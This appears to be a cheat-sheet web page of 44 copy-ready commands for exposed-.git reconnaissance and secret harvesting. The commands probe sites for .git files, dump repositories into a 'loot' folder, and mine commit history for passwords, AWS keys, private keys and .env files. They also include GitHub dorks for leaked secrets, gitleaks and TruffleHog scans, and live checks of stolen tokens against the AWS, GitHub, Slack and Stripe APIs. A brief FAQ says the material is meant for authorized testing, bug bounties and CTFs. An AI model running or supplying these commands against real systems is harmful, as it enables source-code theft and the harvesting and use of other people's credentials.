Find and exploit exposed .git directories with git-dumper, mine commit history for secrets, and hunt leaked credentials with GitHub dorking, gitleaks, and TruffleHog. (44 payloads)
curl -s -o /dev/null -w "%{http_code}" https://example.com/.git/HEADcurl -s https://example.com/.git/configcurl -s https://example.com/.git/logs/HEADcurl -s https://example.com/.git/ | grep -i 'index of'nuclei -u https://example.com -t http/exposures/configs/git-config.yamlfor h in $(cat hosts.txt); do echo -n "$h "; curl -sk -o /dev/null -w "%{http_code}\n" "https://$h/.git/HEAD"; donecurl -s https://example.com/.svn/wc.db -o wc.db && sqlite3 wc.db 'select local_relpath from NODES;'git-dumper https://example.com/.git/ ./lootgit-dumper --threads 12 --retry 3 https://example.com/.git/ ./lootGitTools/Dumper/gitdumper.sh https://example.com/.git/ ./lootGitTools/Extractor/extractor.sh ./loot ./extractedcd loot && git checkout -- . && git statusgit fsck --full --unreachable --danglinggit cat-file -p <blob-sha>curl -s https://example.com/.git/index | git ls-files --stage --debug || python3 -c "import dulwich"git log --all --full-history -p | grep -iE 'password|secret|api[_-]?key|token|aws_'git log -p -S 'AKIA' --allgit log --all --diff-filter=D --name-only | grep -iE '\.env|\.pem|id_rsa|credentials|config\.(json|yml)'git show <sha>:path/to/.envgit rev-list --objects --all | grep -iE '\.env|\.pem|\.pfx|\.kdbx|backup'git for-each-ref --format='%(refname)' | grep -E 'stash|original|backup' ; git stash listgit log --all --source --remotes --pretty=format:'%h %an <%ae> %s'org:exampleorg AWS_SECRET_ACCESS_KEYorg:exampleorg filename:.env DB_PASSWORDorg:exampleorg path:**/*.yml "password:" OR "client_secret:""@example.com" "-----BEGIN OPENSSH PRIVATE KEY-----"github-dorks -d example.com (or trufflehog / gitrob across org repos)https://github.com/search?q=org%3Aexampleorg+xoxb-&type=codesite:gist.github.com "example.com" passwordgitleaks detect --source ./loot --report-format json --report-path gitleaks.jsongitleaks detect --source . --log-opts="--all --full-history" -vtrufflehog git file://./loot --only-verifiedtrufflehog github --org=exampleorg --only-verified --jsontrufflehog git file://. --since-commit HEAD~50 --branch maingitleaks detect --source . --no-gitnoseyparker scan ./loot && noseyparker reportgit secrets --scan-historyaws sts get-caller-identity --profile lootcurl -s https://api.github.com/user -H "Authorization: Bearer ghp_xxxx"curl -s https://slack.com/api/auth.test -d token=xoxb-xxxxcurl -s https://api.stripe.com/v1/account -u sk_live_xxxx:trufflehog --help | grep -A2 detectors # 800+ verifiers built injq -r '.foundSecrets[].secret' gitleaks.json | sort -u > secrets.txtDocument: commit SHA, file path, key prefix, scopes, validation timestampLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 44 Git Recon payloads for testing Exposed .git Recon vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Secret Scanner to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Git Recon payloads are completely free, with no account required. Everything runs in your browser.